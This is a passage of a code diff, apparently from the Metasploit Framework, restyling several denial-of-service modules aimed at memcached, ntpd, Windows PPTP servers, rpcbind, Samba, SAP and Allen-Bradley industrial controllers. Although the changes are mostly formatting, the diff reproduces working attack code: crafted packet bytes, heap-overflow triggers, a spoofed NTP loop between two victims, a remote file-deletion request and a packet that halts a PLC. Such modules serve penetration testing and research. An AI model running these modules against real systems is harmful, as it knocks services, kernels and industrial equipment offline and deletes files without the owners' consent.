p1="", p2="", p3="") + def tv_pkt(opcode, p1 = '', p2 = '', p3 = '') buf = Rex::Text.rand_text_alpha(0x0C) - buf += [opcode].pack("V") - buf += [0x00].pack("V") - buf += [p1.length].pack("V") - buf += [p1.length].pack("V") - buf += [p2.length].pack("V") - buf += [p1.length + p2.length].pack("V") - buf += [p3.length].pack("V") + buf += [opcode].pack('V') + buf += [0x00].pack('V') + buf += [p1.length].pack('V') + buf += [p1.length].pack('V') + buf += [p2.length].pack('V') + buf += [p1.length + p2.length].pack('V') + buf += [p3.length].pack('V') buf += Rex::Text.rand_text_alpha(0x08) @@ -50,7 +57,7 @@ def tv_pkt(opcode, p1="", p2="", p3="") buf += p2 buf += p3 - pkt = [buf.length].pack("N") + pkt = [buf.length].pack('N') pkt << buf return pkt @@ -60,19 +67,20 @@ def run target_opcode = 0x534 connect print_status("Connected to: #{rhost} port: #{rport}") - print_status("Sending malicious packet") + print_status('Sending malicious packet') - p = tv_pkt(target_opcode, - "File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % [Rex::Text.rand_text_alpha(0x200),0,0,0,0], - Rex::Text.rand_text_alpha(0x60), - Rex::Text.rand_text_alpha(0x60) - ) + p = tv_pkt( + target_opcode, + "File: #{Rex::Text.rand_text_alpha(0x200)} From: 0 To: 0 ChunkLoc: 0 FileLoc: 0", + Rex::Text.rand_text_alpha(0x60), + Rex::Text.rand_text_alpha(0x60) + ) sock.put(p) - print_status("Packet sent!") - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex - print_error("Exploit failed: #{ex.class} #{ex.message}") - elog(ex) + print_status('Packet sent!') + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error("Exploit failed: #{e.class} #{e.message}") + elog(e) ensure disconnect end diff --git a/modules/auxiliary/dos/misc/memcached.rb b/modules/auxiliary/dos/misc/memcached.rb index 14ed3431cf13f..28a98a1c4b2de 100644 --- a/modules/auxiliary/dos/misc/memcached.rb +++ b/modules/auxiliary/dos/misc/memcached.rb @@ -8,39 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Memcached Remote Denial of Service', - 'Description' => %q{ - This module sends a specially-crafted packet to cause a - segmentation fault in memcached v1.4.15 or earlier versions. - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Memcached Remote Denial of Service', + 'Description' => %q{ + This module sends a specially-crafted packet to cause a + segmentation fault in memcached v1.4.15 or earlier versions. + }, + 'References' => [ [ 'URL', 'https://code.google.com/archive/p/memcached/issues/192' ], [ 'CVE', '2011-4971' ], [ 'OSVDB', '92867' ] ], - 'Author' => [ 'Gregory Man ' ], - 'License' => MSF_LICENSE - )) + 'Author' => [ 'Gregory Man ' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(11211),]) end def is_alive? - begin - connect - disconnect - rescue Rex::ConnectionRefused - return false - end - - return true + connect + disconnect + true + rescue Rex::ConnectionRefused + return false end def run connect - pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00" + pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00" pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00" pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" @@ -55,7 +59,7 @@ def run if is_alive? print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive") else - print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say? + print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say? end end end diff --git a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb index 0cd16a516d979..2d45ff1eab2bd 100644 --- a/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb +++ b/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb @@ -8,35 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner def initialize(info = {}) - super(update_info(info, - 'Name' => 'NTP.org ntpd Reserved Mode Denial of Service', - 'Description' => %q{ - This module exploits a denial of service vulnerability - within the NTP (network time protocol) demon. By sending - a single packet to a vulnerable ntpd server (Victim A), - spoofed from the IP address of another vulnerable ntpd server - (Victim B), both victims will enter an infinite response loop. - Note, unless you control the spoofed source host or the real - remote host(s), you will not be able to halt the DoS condition - once begun! - }, - 'Author' => [ 'todb' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'NTP.org ntpd Reserved Mode Denial of Service', + 'Description' => %q{ + This module exploits a denial of service vulnerability + within the NTP (network time protocol) demon. By sending + a single packet to a vulnerable ntpd server (Victim A), + spoofed from the IP address of another vulnerable ntpd server + (Victim B), both victims will enter an infinite response loop. + Note, unless you control the spoofed source host or the real + remote host(s), you will not be able to halt the DoS condition + once begun! + }, + 'Author' => [ 'todb' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'BID', '37255' ], [ 'CVE', '2009-3563' ], [ 'OSVDB', '60847' ], [ 'URL', 'https://bugs.ntp.org/show_bug.cgi?id=1331' ] ], - 'DisclosureDate' => '2009-10-04')) - - register_options( - [ - OptAddressLocal.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ]) - ]) - deregister_options('FILTER','PCAPFILE') + 'DisclosureDate' => '2009-10-04', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptAddressLocal.new('LHOST', [true, 'The spoofed address of a vulnerable ntpd server' ]) + ] + ) + deregister_options('FILTER', 'PCAPFILE') end def run_host(ip) @@ -52,7 +60,7 @@ def run_host(ip) p.udp_dst = 123 p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)] p.recalc - capture_sendto(p,ip) + capture_sendto(p, ip) close_pcap end diff --git a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb index eb7d7f095f26b..bd3df5692f4f1 100644 --- a/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb +++ b/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb @@ -8,29 +8,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS02-063 PPTP Malformed Control Data Kernel Denial of Service', - 'Description' => %q{ - This module exploits a kernel based overflow when sending abnormal PPTP Control Data - packets to Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers - (Remote Access Services). Kernel memory is overwritten resulting in a BSOD. - Code execution may be possible however this module is only a DoS. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'BID', '5807' ], - [ 'CVE', '2002-1214' ], - [ 'OSVDB', '13422' ], - [ 'MSB', 'MS02-063' ], - ], - 'DisclosureDate' => '2002-09-26')) - - register_options( + super( + update_info( + info, + 'Name' => 'MS02-063 PPTP Malformed Control Data Kernel Denial of Service', + 'Description' => %q{ + This module exploits a kernel based overflow when sending abnormal PPTP Control Data + packets to Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers + (Remote Access Services). Kernel memory is overwritten resulting in a BSOD. + Code execution may be possible however this module is only a DoS. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '5807' ], + [ 'CVE', '2002-1214' ], + [ 'OSVDB', '13422' ], + [ 'MSB', 'MS02-063' ], + ], + 'DisclosureDate' => '2002-09-26', + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options( [ Opt::RPORT(1723), - ]) + ] + ) end def run @@ -49,13 +58,13 @@ def run sploit << "\xff\xff" # max channels sploit << "\x0a\x28" # firmware revision sploit << "\x00\x01" # Hostname - sploit << "A" * 3000 # Vendor - trigger vuln + sploit << 'A' * 3000 # Vendor - trigger vuln - print_status("Sending PPTP DoS Packet...") + print_status('Sending PPTP DoS Packet...') sock.put(sploit) - print_status("Packet sent. Kernel should halt on a Stop Error (BSOD).") + print_status('Packet sent. Kernel should halt on a Stop Error (BSOD).') disconnect end diff --git a/modules/auxiliary/dos/rpc/rpcbomb.rb b/modules/auxiliary/dos/rpc/rpcbomb.rb index 6dbecfd568c6e..9005aeb12a81d 100644 --- a/modules/auxiliary/dos/rpc/rpcbomb.rb +++ b/modules/auxiliary/dos/rpc/rpcbomb.rb @@ -8,32 +8,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner - def initialize(info={}) - super(update_info(info, - 'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc', - 'Description' => %q{ - This module exploits a vulnerability in certain versions of - rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger - large (and never freed) memory allocations for XDR strings on - the target. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc', + 'Description' => %q{ + This module exploits a vulnerability in certain versions of + rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger + large (and never freed) memory allocations for XDR strings on + the target. + }, + 'Author' => [ 'guidovranken', # original code 'Pearce Barry ' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => [ - [ 'CVE', '2017-8779' ], - [ 'BID', '98325' ], - [ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ] - ], - 'Disclosure Date' => 'May 03 2017')) + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2017-8779' ], + [ 'BID', '98325' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ] + ], + 'Disclosure Date' => 'May 03 2017', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(111), OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]), - OptInt.new('COUNT', [false, "Number of intervals to loop", 1000000]) + OptInt.new('COUNT', [false, 'Number of intervals to loop', 1000000]) ]) end @@ -58,7 +66,7 @@ def scan_host(ip) s = udp_socket(ip, datastore['RPORT']) count = 0 - while count < datastore['COUNT'] do + while count < datastore['COUNT'] begin s.send(pkt, 0) rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 81b53bbb2c680..bc18b4b57bcb5 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -9,35 +9,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Samba lsa_io_privilege_set Heap Overflow', - 'Description' => %q{ - This module triggers a heap overflow in the LSA RPC service - of the Samba daemon. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Samba lsa_io_privilege_set Heap Overflow', + 'Description' => %q{ + This module triggers a heap overflow in the LSA RPC service + of the Samba daemon. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2007-2446'], ['OSVDB', '34699'], - ] - )) + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ]) - + OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'LSARPC']), + ] + ) end def run - pipe = datastore['SMBPIPE'].downcase - print_status("Connecting to the SMB service...") - connect() - smb_login() + print_status('Connecting to the SMB service...') + connect + smb_login datastore['DCERPC::fake_bind_multi'] = false @@ -54,16 +60,16 @@ def run stub << NDR.long(1) stub << NDR.long(0xffffffff) stub << NDR.long(0x100) - stub << "X" * 0x100 + stub << 'X' * 0x100 - print_status("Calling the vulnerable function...") + print_status('Calling the vulnerable function...') begin # LsarAddPrivilegesToAccount dcerpc.call(0x13, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_good('Server did not respond, this is expected') - rescue => e + rescue StandardError => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_good('Server disconnected, this is expected') else diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index fbec979d8619c..348a7055f1d6e 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -9,35 +9,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Samba lsa_io_trans_names Heap Overflow', - 'Description' => %q{ - This module triggers a heap overflow in the LSA RPC service - of the Samba daemon. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Samba lsa_io_trans_names Heap Overflow', + 'Description' => %q{ + This module triggers a heap overflow in the LSA RPC service + of the Samba daemon. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2007-2446'], ['OSVDB', '34699'], - ] - )) + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ]) - + OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'LSARPC']), + ] + ) end def run - pipe = datastore['SMBPIPE'].downcase - print_status("Connecting to the SMB service...") - connect() - smb_login() + print_status('Connecting to the SMB service...') + connect + smb_login datastore['DCERPC::fake_bind_multi'] = false @@ -52,18 +58,18 @@ def run stub << NDR.long(1) stub << NDR.long(0x20004) stub << NDR.long(0x100) - stub << ("X" * 16) * 0x100 + stub << ('X' * 16) * 0x100 stub << NDR.long(1) stub << NDR.long(0) - print_status("Calling the vulnerable function...") + print_status('Calling the vulnerable function...') begin # LsarLookupSids dcerpc.call(0x0f, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, ::EOFError print_good('Server did not respond, this is expected') - rescue => e + rescue StandardError => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_good('Server disconnected, this is expected') else diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index faf6498c99366..63d9b80d27e5f 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -10,57 +10,64 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Authenticated TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'FID', 0 ], + [ 'uint16v', 'FID', 0 ], [ 'uint16v', 'InfoLevel', 0 ], - [ 'uint16v', 'Reserved', 0 ], + [ 'uint16v', 'Reserved', 0 ] ) FEA_LIST = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'NextOffset', 0 ], - [ 'uint8', 'Flags', 0 ], - [ 'uint8', 'NameLen', 0 ], - [ 'uint16v', 'ValueLen', 0 ], - [ 'string', 'Name', nil, '' ], - [ 'string', 'Value', nil, '' ] + [ 'uint32v', 'NextOffset', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint8', 'NameLen', 0 ], + [ 'uint16v', 'ValueLen', 0 ], + [ 'string', 'Name', nil, '' ], + [ 'string', 'Value', nil, '' ] ) def initialize(info = {}) - super(update_info(info, - 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', - 'Description' => %q{ - Integer overflow in the read_nttrans_ea_list function in nttrans.c in - smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before - 4.0.8 allows remote attackers to cause a denial of service (memory - consumption) via a malformed packet. Important Note: in order to work, - the "ea support" option on the target share must be enabled. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c in + smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before + 4.0.8 allows remote attackers to cause a denial of service (memory + consumption) via a malformed packet. Important Note: in order to work, + the "ea support" option on the target share must be enabled. + }, + 'Author' => [ 'Jeremy Allison', # Vulnerability discovery - 'dz_lnly' # Metasploit module + 'dz_lnly' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['OSVDB', '95969'], ['BID', '61597'], ['EDB', '27778'], ['CVE', '2013-4124'] ], - )) + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('SMBShare', [true, 'Target share', '']), OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]), OptInt.new('Tries', [true, 'Number of DOS tries', 40]), - ]) + ] + ) deregister_options('SMB::ProtocolVersion') end def get_fid - ok = self.simple.client.create("/") + ok = simple.client.create('/') return ok['Payload'].v['FileID'] end @@ -68,17 +75,17 @@ def mk_items_payload item1 = FEA_LIST.make_struct item1.v['ValueLen'] = datastore['MsgLen'] item1.v['Value'] = "\x00" * datastore['MsgLen'] - item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item1.v['Name'] = Rex::Text.rand_text_alpha(5..7) + "\x00" item1.v['NameLen'] = item1.v['Name'].length item2 = FEA_LIST.make_struct item2.v['ValueLen'] = datastore['MsgLen'] item2.v['Value'] = "\x00" * datastore['MsgLen'] - item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item2.v['Name'] = Rex::Text.rand_text_alpha(5..7) + "\x00" item2.v['NameLen'] = item1.v['Name'].length item3 = FEA_LIST.make_struct # Some padding item3.v['ValueLen'] = 4 item3.v['Value'] = "\x00\x00\x00\x00" - item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item3.v['Name'] = Rex::Text.rand_text_alpha(5..7) + "\x00" item3.v['NameLen'] = item1.v['Name'].length ilen = item1.to_s.length @@ -96,21 +103,21 @@ def send_pkt trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION data = mk_items_payload subcmd = 0x08 - self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) + simple.client.trans2(subcmd, trans.to_s, data.to_s, false) end def run print_status("Trying a max of #{datastore['Tries']} times...") datastore['Tries'].times do connect(versions: [1]) - smb_login() - self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + smb_login + simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") print_status('Sending malicious package...') send_pkt begin - self.simple.client.create("") + simple.client.create('') print_error('Server Answered, DoS unsuccessful') rescue Timeout::Error print_good('Server timed out, this is expected') @@ -118,7 +125,7 @@ def run rescue Rex::Proto::SMB::Exceptions::InvalidType print_error('Server Answered, DoS unsuccessful') end - disconnect() + disconnect end end end diff --git a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb index 365ac9cef7f82..4918d09878a3b 100644 --- a/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb +++ b/modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb @@ -38,13 +38,17 @@ def initialize [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=331' ], [ 'URL', 'https://launchpad.support.sap.com/#/notes/1554030' ] ], - 'Author' => - [ - 'Alexey Sintsov', # Vulnerability discovery - 'nmonkee' # Metasploit module - ], - 'License' => MSF_LICENSE - ) + 'Author' => [ + 'Alexey Sintsov', # Vulnerability discovery + 'nmonkee' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options([ Opt::RPORT(8000), @@ -56,7 +60,7 @@ def initialize ]) end - def run_host(ip) + def run_host(_ip) data = '' data << ' 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' }, 'vars_get' => { 'sap-client' => datastore['CLIENT'], @@ -90,16 +94,16 @@ def run_host(ip) } }) - if res and res.code == 200 and res.body =~ /EPS_DELETE_FILE.Response/ and res.body.include?(datastore['FILENAME']) and res.body.include?(datastore['DIRNAME']) + if res && (res.code == 200) && res.body =~ (/EPS_DELETE_FILE.Response/) && res.body.include?(datastore['FILENAME']) && res.body.include?(datastore['DIRNAME']) print_good("#{rhost}:#{rport} - File #{datastore['FILENAME']} at #{datastore['DIRNAME']} successfully deleted") elsif res vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s) vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s) vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body end - rescue ::Rex::ConnectionError - print_error("#{rhost}:#{rport} - Unable to connect") - return - end + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - Unable to connect") + return end end +end diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb index 138bf861d2851..c9433ce3605da 100644 --- a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -8,10 +8,10 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos - def initialize(info = {}) + def initialize(_info = {}) super( - 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", - 'Description' => %q{ + 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", + 'Description' => %q{ A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. @@ -20,115 +20,119 @@ def initialize(info = {}) CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned. }, - 'Author' => [ - 'José Diogo Monteiro ', - 'Luis Rosa ', - 'Miguel Borges de Freitas ' + 'Author' => [ + 'José Diogo Monteiro ', + 'Luis Rosa ', + 'Miguel Borges de Freitas ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2017-7924' ], [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ], - [ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780'] - ]) - register_options([Opt::RPORT(44818),]) + [ 'URL', 'https://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780'] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + register_options([Opt::RPORT(44818),]) end - VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD'] + VULN_LIST = ['1763-L16BWA', '1763-L16AWA', '1763-L16BBB', '1763-L16DWD'] VULN_FW_VERSION_MIN = 14.00 VULN_FW_VERSION_MAX = 16.00 - def le_pp(s) - "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}" + + def le_pp(str) + "0x#{Rex::Text.to_hex(str, '').scan(/../).reverse.join('')}" end def enip_register_session_pkt # ENIP encapsulation Header "\x65\x00" + # Command register session (0x0065) - "\x04\x00" + # Length (4) - "\x00\x00\x00\x00" + # Session handle (0x00000000) - "\x00\x00\x00\x00" + # Status success (0x00000000) - "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) - "\x00\x00\x00\x00" + # Options (0x00000000) - # Protocol Specific Data - "\x01\x00" + # Protocol version (1) - "\x00\x00" # Option flags (0x00000000) + "\x04\x00" + # Length (4) + "\x00\x00\x00\x00" + # Session handle (0x00000000) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Protocol Specific Data + "\x01\x00" + # Protocol version (1) + "\x00\x00" # Option flags (0x00000000) end def enip_ccm_forward_open_pkt(enip_session_handle) # ENIP encapsulation header "\x6f\x00" + # Send RR data (0x006f) - "\x3e\x00" + # Length (63) - enip_session_handle + # Session handle (retrieved from register session) - "\x00\x00\x00\x00" + # Status success (0x00000000) - "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) - "\x00\x00\x00\x00" + # Options (0x00000000) - # Command specific data - "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) - "\x00\x00" + # Timeout (0) - "\x02\x00" + # Item count (2) - "\x00\x00" + # Item 1 type id (Null address item) - "\x00\x00" + # Item 1 length (0) - "\xb2\x00" + # Item 2 type id (Unconnected data item) - "\x2e\x00" + # Item 2 length (46) - # CIP Connection manager specific data - "\x54\x02\x20\x06\x24\x01\x0a\xf0" + - "\x00\x00\x00\x00\x52\xac\xda\x89" + - "\x55\x0c\x35\x01\xe1\x08\xb0\x60" + - "\x07\x00\x00\x00\x00\x40\x00\x00" + - "\x12\x43\x00\x40\x00\x00\x12\x43" + - "\xa3\x02\x20\x02\x24\x01" + "\x3e\x00" + # Length (63) + enip_session_handle + # Session handle (retrieved from register session) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Command specific data + "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count (2) + "\x00\x00" + # Item 1 type id (Null address item) + "\x00\x00" + # Item 1 length (0) + "\xb2\x00" + # Item 2 type id (Unconnected data item) + "\x2e\x00" + # Item 2 length (46) + # CIP Connection manager specific data + "\x54\x02\x20\x06\x24\x01\x0a\xf0" \ + "\x00\x00\x00\x00\x52\xac\xda\x89" \ + "\x55\x0c\x35\x01\xe1\x08\xb0\x60" \ + "\x07\x00\x00\x00\x00\x40\x00\x00" \ + "\x12\x43\x00\x40\x00\x00\x12\x43" \ + "\xa3\x02\x20\x02\x24\x01" end # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08) def pccc_dos_pkt(enip_session_id, cip_connection_id) # ENIP encapsulation header "\x70\x00" + # Send unit data (0x0070) - "\x2d\x00" + # Length - enip_session_id + # ENIP session handle (obtained from enip register session) - "\x00\x00\x00\x00" + # Status Success - "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context - "\x00\x00\x00\x00" + # Options - # Command Specific data - "\x00\x00\x00\x00" + # Interface handle (CIP) - "\x00\x00" + # Timeout (0) - "\x02\x00" + # Item count - "\xa1\x00" + # Item 1 - Type ID (Connected address item) - "\x04\x00" + # Item 1 - Length (4) - cip_connection_id + # CIP connection ID (obtained from CIP CM packet) - "\xb1\x00" + # Item 2 - Type ID (Connected data item) - "\x19\x00" + # Item 2 - Length (25) - "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet - # PCCC Command data - "\x4b" + # Execute PCCC (0x4b) - "\x02\x20\x67\x24\x01" + # no idea what this is - "\x07" + # Requestor ID length - "\x35\x01" + # CIP vendor ID - "\xe1\x08\xb0\x60" + # CIP serial number - "\x0f" + # Command code - "\x00" + # Status (success 0x00) - "\x2a\x58" + # Transaction code - "\xa2" + # Function code (Protected typed logical read with three address fields) - "\x00" + # Byte size - "\x05" + # File number - "\x47" + # File type - "\x00" + # Element number - "\x00" # Sub-element number + "\x2d\x00" + # Length + enip_session_id + # ENIP session handle (obtained from enip register session) + "\x00\x00\x00\x00" + # Status Success + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context + "\x00\x00\x00\x00" + # Options + # Command Specific data + "\x00\x00\x00\x00" + # Interface handle (CIP) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count + "\xa1\x00" + # Item 1 - Type ID (Connected address item) + "\x04\x00" + # Item 1 - Length (4) + cip_connection_id + # CIP connection ID (obtained from CIP CM packet) + "\xb1\x00" + # Item 2 - Type ID (Connected data item) + "\x19\x00" + # Item 2 - Length (25) + "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet + # PCCC Command data + "\x4b" + # Execute PCCC (0x4b) + "\x02\x20\x67\x24\x01" + # no idea what this is + "\x07" + # Requestor ID length + "\x35\x01" + # CIP vendor ID + "\xe1\x08\xb0\x60" + # CIP serial number + "\x0f" + # Command code + "\x00" + # Status (success 0x00) + 